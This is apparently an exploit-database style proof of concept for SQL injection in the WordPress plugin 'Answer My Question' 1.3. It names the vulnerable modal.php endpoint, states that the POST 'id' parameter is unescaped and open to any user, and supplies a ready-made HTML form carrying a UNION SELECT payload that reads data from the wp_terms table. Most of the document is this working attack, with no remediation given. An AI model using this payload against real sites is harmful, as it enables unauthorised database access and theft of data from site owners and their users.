Answer My Question 1.3 - SQL Injection

$_POST['id'] is not escaped. Url is accessible for any user.
Url vulnerable : http://target/wp-content/plugins/answer-my-question/modal.php

<form method="post" action="http://target/wp-content/plugins/answer-my-question/modal.php">
    <input type="text" name="id" value="0 UNION SELECT 1,2,3,4,5,6,slug,term_group,name,10,11,12 FROM wp_terms WHERE term_id=1">
    <input type="submit" value="Send">
</form>